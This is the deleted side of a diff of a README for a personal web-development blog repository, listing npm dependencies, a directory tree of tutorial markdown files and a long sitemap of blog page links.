-[![@ecomfe**](https://avatars.githubusercontent.com/u/2268460?s=40&v=4)](https://github.com/ecomfe)[ecomfe / babel-runtime](https://github.com/ecomfe/babel-runtime) `6.26.0`
-
-[![@paulmillr**](https://avatars.githubusercontent.com/u/574696?s=40&u=7f4396380d73af134b898c8eaf7bb171f448f40f&v=4)](https://github.com/paulmillr)[paulmillr / chokidar](https://github.com/paulmillr/chokidar) `3.4.0`
-
-[![@DefinitelyTyped**](https://avatars.githubusercontent.com/u/3637556?s=40&v=4)](https://github.com/DefinitelyTyped)[DefinitelyTyped / DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped)@types/node
-`^ 13`
-
-[![@micromatch**](https://avatars.githubusercontent.com/u/26890389?s=40&v=4)](https://github.com/micromatch)[micromatch / anymatch](https://github.com/micromatch/anymatch) `~ 3.1.1`
-
-[![@micromatch**](https://avatars.githubusercontent.com/u/26890389?s=40&v=4)](https://github.com/micromatch)[micromatch / braces](https://github.com/micromatch/braces) `~ 3.0.2`
-
-[![@chaijs**](https://avatars.githubusercontent.com/u/1515293?s=40&v=4)](https://github.com/chaijs)[chaijs / chai](https://github.com/chaijs/chai) `^ 4.2`
-
-[![@microsoft**](https://avatars.githubusercontent.com/u/6154722?s=40&v=4)](https://github.com/microsoft)[microsoft / dtslint](https://github.com/microsoft/dtslint) `^ 3.3.0`
-
-[![@eslint**](https://avatars.githubusercontent.com/u/6019716?s=40&v=4)](https://github.com/eslint)[eslint / eslint](https://github.com/eslint/eslint) `^ 6.6.0`
-
-[![@fsevents**](https://avatars.githubusercontent.com/u/48760001?s=40&v=4)](https://github.com/fsevents)[fsevents / fsevents](https://github.com/fsevents/fsevents) `~ 2.1.2`
-
-[![@gulpjs**](https://avatars.githubusercontent.com/u/6200624?s=40&v=4)](https://github.com/gulpjs)[gulpjs / glob-parent](https://github.com/gulpjs/glob-parent) `~ 5.1.0`
-
-[![@sindresorhus**](https://avatars.githubusercontent.com/u/170270?s=40&u=34acd557a042ac478d273a4621570cadb6b0bd89&v=4)](https://github.com/sindresorhus)[sindresorhus / is-binary-path](https://github.com/sindresorhus/is-binary-path) `~ 2.1.0`
-
-[![@micromatch**](https://avatars.githubusercontent.com/u/26890389?s=40&v=4)](https://github.com/micromatch)[micromatch / is-glob](https://github.com/micromatch/is-glob) `~ 4.0.1`
-
-[![@mochajs**](https://avatars.githubusercontent.com/u/8770005?s=40&v=4)](https://github.com/mochajs)[mochajs / mocha](https://github.com/mochajs/mocha) `^ 7.0.0`
-
-[![@jonschlinkert**](https://avatars.githubusercontent.com/u/383994?s=40&u=335f06277f72722162e89bd5516849f2e82f37cf&v=4)](https://github.com/jonschlinkert)[jonschlinkert / normalize-path](https://github.com/jonschlinkert/normalize-path) `~ 3.0.0`
-
-[![@istanbuljs**](https://avatars.githubusercontent.com/u/13523395?s=40&v=4)](https://github.com/istanbuljs)[istanbuljs / nyc](https://github.com/istanbuljs/nyc) `^ 15.0.0`
-
-[![@paulmillr**](https://avatars.githubusercontent.com/u/574696?s=40&u=7f4396380d73af134b898c8eaf7bb171f448f40f&v=4)](https://github.com/paulmillr)[paulmillr / readdirp](https://github.com/paulmillr/readdirp) `~ 3.4.0`
-
-[![@isaacs**](https://avatars.githubusercontent.com/u/9287?s=40&u=60a280618307ae965cadbe52da4baa7e351c848c&v=4)](https://github.com/isaacs)[isaacs / rimraf](https://github.com/isaacs/rimraf) `^ 3.0.0`
-
-[![@sinonjs**](https://avatars.githubusercontent.com/u/6570253?s=40&v=4)](https://github.com/sinonjs)[sinonjs / sinon](https://github.com/sinonjs/sinon) `^ 9.0.1`
-
-[![@domenic**](https://avatars.githubusercontent.com/u/617481?s=40&v=4)](https://github.com/domenic)[domenic / sinon-chai](https://github.com/domenic/sinon-chai) `^ 3.3.0`
-
-[![@anodynos**](https://avatars.githubusercontent.com/u/856453?s=40&v=4)](https://github.com/anodynos)[anodynos / upath](https://github.com/anodynos/upath) `^ 1.2.0`
-
-[![@JedWatson**](https://avatars.githubusercontent.com/u/872310?s=40&u=9548676d01f104232ee42e5ac0d985db77e6a5a4&v=4)](https://github.com/JedWatson)[JedWatson / classnames](https://github.com/JedWatson/classnames) `2.2.6`
-
-[![@bestiejs**](https://avatars.githubusercontent.com/u/802850?s=40&v=4)](https://github.com/bestiejs)[bestiejs / benchmark.js](https://github.com/bestiejs/benchmark.js)benchmark
-`^ 1.0.0`
-
-[![@browserify**](https://avatars.githubusercontent.com/u/6320506?s=40&v=4)](https://github.com/browserify)[browserify / browserify](https://github.com/browserify/browserify) `^ 14.1.0`
-
-[![@mochajs**](https://avatars.githubusercontent.com/u/8770005?s=40&v=4)](https://github.com/mochajs)[mochajs / mocha](https://github.com/mochajs/mocha) `^ 2.1.0`
-
-[![@jeromedecoster**](https://avatars.githubusercontent.com/u/158071?s=40&u=470a733fdc34a9fedab18ae4cf5109d2ea357425&v=4)](https://github.com/jeromedecoster)[jeromedecoster / opn-cli](https://github.com/jeromedecoster/opn-cli) `^ 3.1.0`
-
-[![@documentationjs**](https://avatars.githubusercontent.com/u/11415556?s=40&v=4)](https://github.com/documentationjs)[documentationjs / documentation](https://github.com/documentationjs/documentation) `^ 13.2.5`
-
-[![@babel**](https://avatars.githubusercontent.com/u/9637642?s=40&v=4)](https://github.com/babel)[babel / babel](https://github.com/babel/babel)@babel/core
-`7.12.3`
-
-[Cloudfare-Backup](https://bgoonz-blog-2-0.pages.dev/) ↞↠ Search Website: [search](https://www.algolia.com/realtime-search-demo/web-dev-resource-hub-9e6b8aa8-6106-44c5-9f59-ff3f9531abd4) ↞↠ [Backup Repo Deploy](https://bgoonzblog20-backup.netlify.app/#gsc.tab=0) ↞↠ [Github pages](https://bgoonz.github.io/BGOONZ_BLOG_2.0/) ↞↠ [Go To Site Wiki](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki)
-
-</details>
-
----
-
-## Docs Structure
-
-<details>
-<summary>  Docs Structure  </summary>
-
-```
-├── blog
-│     ├── 300-react-questions.md
-│     ├── awesome-graphql.md
-│     ├── big-o-complexity.md
-│     ├── blog-archive.md
-│     ├── blogwcomments.md
-│     ├── data-structures.md
-│     ├── flow-control-in-python.md
-│     ├── functions-in-python.md
-│     ├── git-gateway.md
-│     ├── index.md
-│     ├── interview-questions-js.md
-│     ├── netlify-cms.md
-│     ├── platform-docs.md
-│     ├── python-for-js-dev.md
-│     ├── python-resources.md
-│     ├── web-dev-trends.md
-│     └── web-scraping.md
-├── docs
-│     ├── about
-│     │     ├── eng-portfolio.md
-│     │     ├── ideas-for-this-website.md
-│     │     ├── index.md
-│     │     ├── intrests.md
-│     │     ├── job-search.md
-│     │     └── resume.md
-│     ├── articles
-│     │     ├── basic-web-dev.md
-│     │     ├── buffers.md
-│     │     ├── dev-dep.md
-│     │     ├── event-loop.md
-│     │     ├── fs-module.md
-│     │     ├── how-the-web-works.md
-│     │     ├── http.md
-│     │     ├── index.md
-│     │     ├── install.md
-│     │     ├── intro.md
-│     │     ├── modules.md
-│     │     ├── nextjs.md
-│     │     ├── node-api-express.md
-│     │     ├── node-cli-args.md
-│     │     ├── node-common-modules.md
-│     │     ├── node-env-variables.md
-│     │     ├── node-js-language.md
-│     │     ├── node-package-manager.md
-│     │     ├── node-repl.md
-│     │     ├── node-run-cli.md
-│     │     ├── nodejs.md
-│     │     ├── nodevsbrowser.md
-│     │     ├── npm.md
-│     │     ├── npx.md
-│     │     ├── os-module.md
-│     │     ├── reading-files.md
-│     │     ├── semantic-html.md
-│     │     ├── semantic.md
-│     │     ├── the-uniform-resource-locator-(url).md
-│     │     ├── understanding-firebase.md
-│     │     ├── v8.md
-│     │     ├── web-standards-checklist.md
-│     │     ├── webdev-tools.md
-│     │     └── writing-files.md
-│     ├── audio
-│     │     ├── audio-feature-extraction.md
-│     │     ├── audio.md
-│     │     ├── dfft.md
-│     │     ├── discrete-fft.md
-│     │     ├── dtw-python-explained.md
-│     │     ├── dynamic-time-warping.md
-│     │     ├── index.md
-│     │     └── web-audio-api.md
-│     ├── career
-│     │     ├── dev-interview.md
-│     │     ├── index.md
-│     │     ├── interview-dos-n-donts.md
-│     │     └── job-boards.md
-│     ├── community
-│     │     ├── an-open-letter-2-future-developers.md
-│     │     ├── index.md
-│     │     └── video-chat.md
-│     ├── content
-│     │     ├── algo.md
-│     │     ├── archive.md
-│     │     ├── gatsby-Queries-Mutations.md
-│     │     ├── history-api.md
-│     │     ├── index.md
-│     │     ├── main-projects.md
-│     │     └── trouble-shooting.md
-│     ├── data-structures
-│     │     └── index.md
-│     ├── docs
-│     │     ├── appendix.md
-│     │     ├── art-of-command-line.md
-│     │     ├── bash.md
-│     │     ├── content.md
-│     │     ├── css.md
-│     │     ├── data-structures-docs.md
-│     │     ├── es-6-features.md
-│     │     ├── git-reference.md
-│     │     ├── git-repos.md
-│     │     ├── html-spec.md
-│     │     ├── index.md
-│     │     ├── markdown.md
-│     │     ├── no-whiteboarding.md
-│     │     ├── node-docs-complete.md
-│     │     ├── node-docs-full.md
-│     │     ├── regex-in-js.md
-│     │     └── sitemap.md
-│     ├── faq
-│     │     ├── contact.md
-│     │     ├── index.md
-│     │     └── plug-ins.md
-│     ├── gists.md
-│     ├── index.md
-│     ├── interact
-│     │     ├── callstack-visual.md
-│     │     ├── clock.md
-│     │     ├── index.md
-│     │     ├── jupyter-notebooks.md
-│     │     ├── other-sites.md
-│     │     └── video-chat.md
-│     ├── interview
-│     │     ├── index.md
-│     │     ├── job-search-nav.md
-│     │     └── review-concepts.md
-│     ├── javascript
-│     │     ├── arrow-functions.md
-│     │     ├── asyncjs.md
-│     │     ├── await-keyword.md
-│     │     ├── bigo.md
-│     │     ├── clean-code.md
-│     │     ├── constructor-functions.md
-│     │     ├── index.md
-│     │     ├── promises.md
-│     │     ├── review.md
-│     │     └── this-is-about-this.md
-│     ├── leetcode
-│     │     └── index.md
-│     ├── privacy-policy.md
-│     ├── projects
-│     │     ├── embeded-websites.md
-│     │     ├── index.md
-│     │     ├── list-of-projects.md
-│     │     ├── mini-projects.md
-│     │     └── my-websites.md
-│     ├── python
-│     │     ├── at-length.md
-│     │     ├── cheat-sheet.md
-│     │     ├── comprehensive-guide.md
-│     │     ├── examples.md
-│     │     ├── flow-control.md
-│     │     ├── functions.md
-│     │     ├── google-sheets-api.md
-│     │     ├── index.md
-│     │     ├── intro-for-js-devs.md
-│     │     ├── python-ds.md
-│     │     └── snippets.md
-│     ├── quick-reference
-│     │     ├── Emmet.md
-│     │     ├── all-emojis.md
-│     │     ├── create-react-app.md
-│     │     ├── git-bash.md
-│     │     ├── git-tricks.md
-│     │     ├── google-firebase.md
-│     │     ├── heroku-error-codes.md
-│     │     ├── index.md
-│     │     ├── installation.md
-│     │     ├── markdown-dropdowns.md
-│     │     ├── minifiction.md
-│     │     ├── new-repo-instructions.md
-│     │     ├── psql-setup.md
-│     │     ├── pull-request-rubric.md
-│     │     ├── quick-links.md
-│     │     ├── topRepos.md
-│     │     ├── understanding-path.md
-│     │     └── vscode-themes.md
-│     ├── react
-│     │     ├── ajax-n-apis.md
-│     │     ├── cheatsheet.md
-│     │     ├── createReactApp.md
-│     │     ├── demo.md
-│     │     ├── dont-use-index-as-keys.md
-│     │     ├── index.md
-│     │     ├── jsx.md
-│     │     ├── react-docs.md
-│     │     ├── react-in-depth.md
-│     │     ├── react2.md
-│     │     └── render-elements.md
-│     ├── reference
-│     │     ├── awesome-lists.md
-│     │     ├── awesome-static.md
-│     │     ├── bash-commands.md
-│     │     ├── bookmarks.md
-│     │     ├── embed-the-web.md
-│     │     ├── github-search.md
-│     │     ├── google-cloud.md
-│     │     ├── how-2-reinstall-npm.md
-│     │     ├── how-to-kill-a-process.md
-│     │     ├── index.md
-│     │     ├── installing-node.md
-│     │     ├── intro-to-nodejs.md
-│     │     ├── notes-template.md
-│     │     ├── psql.md
-│     │     ├── resources.md
-│     │     ├── vscode.md
-│     │     └── web-api's.md
-│     ├── search.md
-│     ├── sitemap.md
-│     ├── tips
-│     │     ├── array-methods.md
-│     │     ├── index.md
-│     │     └── insert-into-array.md
-│     ├── tools
-│     │     ├── Archive.md
-│     │     ├── data-structures.md
-│     │     ├── dev-utilities.md
-│     │     ├── index.md
-│     │     └── markdown-html.md
-│     └── tutorials
-│         ├── enviorment-setup.md
-│         └── index.md
-├── index.md
-├── privacy-policy.md
-├── readme.md
-├── showcase.md
-└── tree.md
-
-23 directories, 202 files
-
-```
-
-## SITEMAP
-
-[**🌍⇒https://bgoonz-blog.netlify.app/🗺️**](https://bgoonz-blog.netlify.app/)
-
-[**🌍⇒blog🗺️**](https://bgoonz-blog.netlify.app/blog)
-
-[**🌍⇒docs🗺️**](https://bgoonz-blog.netlify.app/docs)
-
-[**🌍⇒readme🗺️**](https://bgoonz-blog.netlify.app/readme)
-
-[**🌍⇒review🗺️**](https://bgoonz-blog.netlify.app/review)
-
-[**🌍⇒showcase🗺️**](https://bgoonz-blog.netlify.app/showcase)
-
-[**🌍⇒blog/awesome-graphql🗺️**](https://bgoonz-blog.netlify.app/blog/awesome-graphql)
-
-[**🌍⇒blog/big-o-complexity🗺️**](https://bgoonz-blog.netlify.app/blog/big-o-complexity)
-
-[**🌍⇒blog/blog-archive🗺️**](https://bgoonz-blog.netlify.app/blog/blog-archive)
-
-[**🌍⇒blog/blogwcomments🗺️**](https://bgoonz-blog.netlify.app/blog/blogwcomments)
-
-[**🌍⇒blog/data-structures🗺️**](https://bgoonz-blog.netlify.app/blog/data-structures)
-
-[**🌍⇒blog/flow-control-in-python🗺️**](https://bgoonz-blog.netlify.app/blog/flow-control-in-python)
-
-[**🌍⇒blog/functions-in-python🗺️**](https://bgoonz-blog.netlify.app/blog/functions-in-python)
-
-[**🌍⇒blog/git-gateway🗺️**](https://bgoonz-blog.netlify.app/blog/git-gateway)
-
-[**🌍⇒blog/interview-questions-js🗺️**](https://bgoonz-blog.netlify.app/blog/interview-questions-js)
-
-[**🌍⇒blog/media-queries-explained🗺️**](https://bgoonz-blog.netlify.app/blog/media-queries-explained)
-
-[**🌍⇒blog/my-medium🗺️**](https://bgoonz-blog.netlify.app/blog/my-medium)
-
-[**🌍⇒blog/netlify-cms🗺️**](https://bgoonz-blog.netlify.app/blog/netlify-cms)
-
-[**🌍⇒blog/platform-docs🗺️**](https://bgoonz-blog.netlify.app/blog/platform-docs)
-
-[**🌍⇒blog/python-for-js-dev🗺️**](https://bgoonz-blog.netlify.app/blog/python-for-js-dev)
-
-[**🌍⇒blog/python-resources🗺️**](https://bgoonz-blog.netlify.app/blog/python-resources)
-
-[**🌍⇒blog/web-dev-trends🗺️**](https://bgoonz-blog.netlify.app/blog/web-dev-trends)
-
-[**🌍⇒blog/web-scraping🗺️**](https://bgoonz-blog.netlify.app/blog/web-scraping)
-
-[**🌍⇒docs/about🗺️**](https://bgoonz-blog.netlify.app/docs/about)
-
-[**🌍⇒docs/articles🗺️**](https://bgoonz-blog.netlify.app/docs/articles)
-
-[**🌍⇒docs/audio🗺️**](https://bgoonz-blog.netlify.app/docs/audio)
-
-[**🌍⇒docs/career🗺️**](https://bgoonz-blog.netlify.app/docs/career)
-
-[**🌍⇒docs/community🗺️**](https://bgoonz-blog.netlify.app/docs/community)
-
-[**🌍⇒docs/content🗺️**](https://bgoonz-blog.netlify.app/docs/content)
-
-[**🌍⇒docs/docs🗺️**](https://bgoonz-blog.netlify.app/docs/docs)
-
-[**🌍⇒docs/faq🗺️**](https://bgoonz-blog.netlify.app/docs/faq)
-
-[**🌍⇒docs/gallery🗺️**](https://bgoonz-blog.netlify.app/docs/gallery)
-
-[**🌍⇒docs/interact🗺️**](https://bgoonz-blog.netlify.app/docs/interact)
-
-[**🌍⇒docs/javascript🗺️**](https://bgoonz-blog.netlify.app/docs/javascript)
-
-[**🌍⇒docs/leetcode🗺️**](https://bgoonz-blog.netlify.app/docs/leetcode)
-
-[**🌍⇒docs/other-content🗺️**](https://bgoonz-blog.netlify.app/docs/other-content)
-
-[**🌍⇒docs/privacy-policy🗺️**](https://bgoonz-blog.netlify.app/docs/privacy-policy)
-
-[**🌍⇒docs/projects🗺️**](https://bgoonz-blog.netlify.app/docs/projects)
-
-[**🌍⇒docs/python🗺️**](https://bgoonz-blog.netlify.app/docs/python)
-
-[**🌍⇒docs/quick-reference🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference)
-
-[**🌍⇒docs/react🗺️**](https://bgoonz-blog.netlify.app/docs/react)
-
-[**🌍⇒docs/reference🗺️**](https://bgoonz-blog.netlify.app/docs/reference)
-
-[**🌍⇒docs/search🗺️**](https://bgoonz-blog.netlify.app/docs/search)
-
-[**🌍⇒docs/sitemap🗺️**](https://bgoonz-blog.netlify.app/docs/sitemap)
-
-[**🌍⇒docs/tools🗺️**](https://bgoonz-blog.netlify.app/docs/tools)
-
-[**🌍⇒docs/tutorials🗺️**](https://bgoonz-blog.netlify.app/docs/tutorials)
-
-[**🌍⇒docs/about/eng-portfolio🗺️**](https://bgoonz-blog.netlify.app/docs/about/eng-portfolio)
-
-[**🌍⇒docs/about/ideas-for-this-website🗺️**](https://bgoonz-blog.netlify.app/docs/about/ideas-for-this-website)
-
-[**🌍⇒docs/about/intrests🗺️**](https://bgoonz-blog.netlify.app/docs/about/intrests)
-
-[**🌍⇒docs/about/interview🗺️**](https://bgoonz-blog.netlify.app/docs/about/interview)
-
-[**🌍⇒docs/about/resume🗺️**](https://bgoonz-blog.netlify.app/docs/about/resume)
-
-[**🌍⇒docs/articles/basic-web-dev🗺️**](https://bgoonz-blog.netlify.app/docs/articles/basic-web-dev)
-
-[**🌍⇒docs/articles/buffers🗺️**](https://bgoonz-blog.netlify.app/docs/articles/buffers)
-
-[**🌍⇒docs/articles/dev-dep🗺️**](https://bgoonz-blog.netlify.app/docs/articles/dev-dep)
-
-[**🌍⇒docs/articles/event-loop🗺️**](https://bgoonz-blog.netlify.app/docs/articles/event-loop)
-
-[**🌍⇒docs/articles/fs-module🗺️**](https://bgoonz-blog.netlify.app/docs/articles/fs-module)
-
-[**🌍⇒docs/articles/how-the-web-works🗺️**](https://bgoonz-blog.netlify.app/docs/articles/how-the-web-works)
-
-[**🌍⇒docs/articles/http🗺️**](https://bgoonz-blog.netlify.app/docs/articles/http)
-
-[**🌍⇒docs/articles/install🗺️**](https://bgoonz-blog.netlify.app/docs/articles/install)
-
-[**🌍⇒docs/articles/intro🗺️**](https://bgoonz-blog.netlify.app/docs/articles/intro)
-
-[**🌍⇒docs/articles/media-queries-no-more🗺️**](https://bgoonz-blog.netlify.app/docs/articles/media-queries-no-more)
-
-[**🌍⇒docs/articles/module-exports🗺️**](https://bgoonz-blog.netlify.app/docs/articles/module-exports)
-
-[**🌍⇒docs/articles/nextjs🗺️**](https://bgoonz-blog.netlify.app/docs/articles/nextjs)
-
-[**🌍⇒docs/articles/node-api-express🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-api-express)
-
-[**🌍⇒docs/articles/node-cli-args🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-cli-args)
-
-[**🌍⇒docs/articles/node-common-modules🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-common-modules)
-
-[**🌍⇒docs/articles/node-env-variables🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-env-variables)
-
-[**🌍⇒docs/articles/node-js-language🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-js-language)
-
-[**🌍⇒docs/articles/node-package-manager🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-package-manager)
-
-[**🌍⇒docs/articles/node-repl🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-repl)
-
-[**🌍⇒docs/articles/node-run-cli🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-run-cli)
-
-[**🌍⇒docs/articles/nodejs🗺️**](https://bgoonz-blog.netlify.app/docs/articles/nodejs)
-
-[**🌍⇒docs/articles/nodevsbrowser🗺️**](https://bgoonz-blog.netlify.app/docs/articles/nodevsbrowser)
-
-[**🌍⇒docs/articles/npm🗺️**](https://bgoonz-blog.netlify.app/docs/articles/npm)
-
-[**🌍⇒docs/articles/npx🗺️**](https://bgoonz-blog.netlify.app/docs/articles/npx)
-
-[**🌍⇒docs/articles/os-module🗺️**](https://bgoonz-blog.netlify.app/docs/articles/os-module)
-
-[**🌍⇒docs/articles/package-lock🗺️**](https://bgoonz-blog.netlify.app/docs/articles/package-lock)
-
-[**🌍⇒docs/articles/reading-files🗺️**](https://bgoonz-blog.netlify.app/docs/articles/reading-files)
-
-[**🌍⇒docs/articles/semantic🗺️**](https://bgoonz-blog.netlify.app/docs/articles/semantic)
-
-[**🌍⇒docs/articles/semantic-html🗺️**](https://bgoonz-blog.netlify.app/docs/articles/semantic-html)
-
-[**🌍⇒docs/articles/the-uniform-resource-locator-(url)🗺️**](<https://bgoonz-blog.netlify.app/docs/articles/the-uniform-resource-locator-(url)>)
-
-[**🌍⇒docs/articles/understanding-firebase🗺️**](https://bgoonz-blog.netlify.app/docs/articles/understanding-firebase)
-
-[**🌍⇒docs/articles/v8🗺️**](https://bgoonz-blog.netlify.app/docs/articles/v8)
-
-[**🌍⇒docs/articles/web-standards-checklist🗺️**](https://bgoonz-blog.netlify.app/docs/articles/web-standards-checklist)
-
-[**🌍⇒docs/articles/webdev-tools🗺️**](https://bgoonz-blog.netlify.app/docs/articles/webdev-tools)
-
-[**🌍⇒docs/articles/write-2-json-with-python🗺️**](https://bgoonz-blog.netlify.app/docs/articles/write-2-json-with-python)
-
-[**🌍⇒docs/articles/writing-files🗺️**](https://bgoonz-blog.netlify.app/docs/articles/writing-files)
-
-[**🌍⇒docs/audio/audio🗺️**](https://bgoonz-blog.netlify.app/docs/audio/audio)
-
-[**🌍⇒docs/audio/audio-feature-extraction🗺️**](https://bgoonz-blog.netlify.app/docs/audio/audio-feature-extraction)
-
-[**🌍⇒docs/audio/dfft🗺️**](https://bgoonz-blog.netlify.app/docs/audio/dfft)
-
-[**🌍⇒docs/audio/discrete-fft🗺️**](https://bgoonz-blog.netlify.app/docs/audio/discrete-fft)
-
-[**🌍⇒docs/audio/dtw-python-explained🗺️**](https://bgoonz-blog.netlify.app/docs/audio/dtw-python-explained)
-
-[**🌍⇒docs/audio/dynamic-time-warping🗺️**](https://bgoonz-blog.netlify.app/docs/audio/dynamic-time-warping)
-
-[**🌍⇒docs/audio/web-audio-api🗺️**](https://bgoonz-blog.netlify.app/docs/audio/web-audio-api)
-
-[**🌍⇒docs/career/confidence🗺️**](https://bgoonz-blog.netlify.app/docs/career/confidence)
-
-[**🌍⇒docs/career/dev-interview🗺️**](https://bgoonz-blog.netlify.app/docs/career/dev-interview)
-
-[**🌍⇒docs/career/interview-dos-n-donts🗺️**](https://bgoonz-blog.netlify.app/docs/career/interview-dos-n-donts)
-
-[**🌍⇒docs/career/job-boards🗺️**](https://bgoonz-blog.netlify.app/docs/career/job-boards)
-
-[**🌍⇒docs/community/an-open-letter-2-future-developers🗺️**](https://bgoonz-blog.netlify.app/docs/community/an-open-letter-2-future-developers)
-
-[**🌍⇒docs/community/video-chat🗺️**](https://bgoonz-blog.netlify.app/docs/community/video-chat)
-
-[**🌍⇒docs/content/algo🗺️**](https://bgoonz-blog.netlify.app/docs/content/algo)
-
-[**🌍⇒docs/content/archive🗺️**](https://bgoonz-blog.netlify.app/docs/content/archive)
-
-[**🌍⇒docs/content/data-structures-algo🗺️**](https://bgoonz-blog.netlify.app/docs/content/data-structures-algo)
-
-[**🌍⇒docs/content/gatsby-Queries-Mutations🗺️**](https://bgoonz-blog.netlify.app/docs/content/gatsby-Queries-Mutations)
-
-[**🌍⇒docs/content/history-api🗺️**](https://bgoonz-blog.netlify.app/docs/content/history-api)
-
-[**🌍⇒docs/content/projects🗺️**](https://bgoonz-blog.netlify.app/docs/content/projects)
-
-[**🌍⇒docs/content/recent-projects🗺️**](https://bgoonz-blog.netlify.app/docs/content/recent-projects)
-
-[**🌍⇒docs/content/trouble-shooting🗺️**](https://bgoonz-blog.netlify.app/docs/content/trouble-shooting)
-
-[**🌍⇒docs/docs/appendix🗺️**](https://bgoonz-blog.netlify.app/docs/docs/appendix)
-
-[**🌍⇒docs/docs/bash🗺️**](https://bgoonz-blog.netlify.app/docs/docs/bash)
-
-[**🌍⇒docs/docs/content🗺️**](https://bgoonz-blog.netlify.app/docs/docs/content)
-
-[**🌍⇒docs/docs/css🗺️**](https://bgoonz-blog.netlify.app/docs/docs/css)
-
-[**🌍⇒docs/docs/data-structures-docs🗺️**](https://bgoonz-blog.netlify.app/docs/docs/data-structures-docs)
-
-[**🌍⇒docs/docs/git-reference🗺️**](https://bgoonz-blog.netlify.app/docs/docs/git-reference)
-
-[**🌍⇒docs/docs/git-repos🗺️**](https://bgoonz-blog.netlify.app/docs/docs/git-repos)
-
-[**🌍⇒docs/docs/html-spec🗺️**](https://bgoonz-blog.netlify.app/docs/docs/html-spec)
-
-[**🌍⇒docs/docs/markdown🗺️**](https://bgoonz-blog.netlify.app/docs/docs/markdown)
-
-[**🌍⇒docs/docs/no-whiteboarding🗺️**](https://bgoonz-blog.netlify.app/docs/docs/no-whiteboarding)
-
-[**🌍⇒docs/docs/node-docs-complete🗺️**](https://bgoonz-blog.netlify.app/docs/docs/node-docs-complete)
-
-[**🌍⇒docs/docs/node-docs-full🗺️**](https://bgoonz-blog.netlify.app/docs/docs/node-docs-full)
-
-[**🌍⇒docs/docs/regex-in-js🗺️**](https://bgoonz-blog.netlify.app/docs/docs/regex-in-js)
-
-[**🌍⇒docs/docs/sitemap🗺️**](https://bgoonz-blog.netlify.app/docs/docs/sitemap)
-
-[**🌍⇒docs/faq/contact🗺️**](https://bgoonz-blog.netlify.app/docs/faq/contact)
-
-[**🌍⇒docs/faq/plug-ins🗺️**](https://bgoonz-blog.netlify.app/docs/faq/plug-ins)
-
-[**🌍⇒docs/interact/callstack-visual🗺️**](https://bgoonz-blog.netlify.app/docs/interact/callstack-visual)
-
-[**🌍⇒docs/interact/clock🗺️**](https://bgoonz-blog.netlify.app/docs/interact/clock)
-
-[**🌍⇒docs/interact/jupyter-notebooks🗺️**](https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks)
-
-[**🌍⇒docs/interact/other-sites🗺️**](https://bgoonz-blog.netlify.app/docs/interact/other-sites)
-
-[**🌍⇒docs/interact/video-chat🗺️**](https://bgoonz-blog.netlify.app/docs/interact/video-chat)
-
-[**🌍⇒docs/javascript/arrow-functions🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/arrow-functions)
-
-[**🌍⇒docs/javascript/await-keyword🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/await-keyword)
-
-[**🌍⇒docs/javascript/bigo🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/bigo)
-
-[**🌍⇒docs/javascript/clean-code🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/clean-code)
-
-[**🌍⇒docs/javascript/constructor-functions🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/constructor-functions)
-
-[**🌍⇒docs/javascript/promises🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/promises)
-
-[**🌍⇒docs/javascript/review🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/review)
-
-[**🌍⇒docs/javascript/this-is-about-this🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/this-is-about-this)
-
-[**🌍⇒docs/projects/medium-links🗺️**](https://bgoonz-blog.netlify.app/docs/projects/medium-links)
-
-[**🌍⇒docs/projects/my-websites🗺️**](https://bgoonz-blog.netlify.app/docs/projects/my-websites)
-
-[**🌍⇒docs/python/at-length🗺️**](https://bgoonz-blog.netlify.app/docs/python/at-length)
-
-[**🌍⇒docs/python/basics🗺️**](https://bgoonz-blog.netlify.app/docs/python/basics)
-
-[**🌍⇒docs/python/cheat-sheet🗺️**](https://bgoonz-blog.netlify.app/docs/python/cheat-sheet)
-
-[**🌍⇒docs/python/comprehensive-guide🗺️**](https://bgoonz-blog.netlify.app/docs/python/comprehensive-guide)
-
-[**🌍⇒docs/python/examples🗺️**](https://bgoonz-blog.netlify.app/docs/python/examples)
-
-[**🌍⇒docs/python/flow-control🗺️**](https://bgoonz-blog.netlify.app/docs/python/flow-control)
-
-[**🌍⇒docs/python/functions🗺️**](https://bgoonz-blog.netlify.app/docs/python/functions)
-
-[**🌍⇒docs/python/google-sheets-api🗺️**](https://bgoonz-blog.netlify.app/docs/python/google-sheets-api)
-
-[**🌍⇒docs/python/intro-for-js-devs🗺️**](https://bgoonz-blog.netlify.app/docs/python/intro-for-js-devs)
-
-[**🌍⇒docs/python/python-ds🗺️**](https://bgoonz-blog.netlify.app/docs/python/python-ds)
-
-[**🌍⇒docs/python/snippets🗺️**](https://bgoonz-blog.netlify.app/docs/python/snippets)
-
-[**🌍⇒docs/quick-reference/Emmet🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/Emmet)
-
-[**🌍⇒docs/quick-reference/all-emojis🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/all-emojis)
-
-[**🌍⇒docs/quick-reference/create-react-app🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/create-react-app)
-
-[**🌍⇒docs/quick-reference/git-bash🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/git-bash)
-
-[**🌍⇒docs/quick-reference/git-tricks🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/git-tricks)
-
-[**🌍⇒docs/quick-reference/google-firebase🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/google-firebase)
-
-[**🌍⇒docs/quick-reference/heroku-error-codes🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/heroku-error-codes)
-
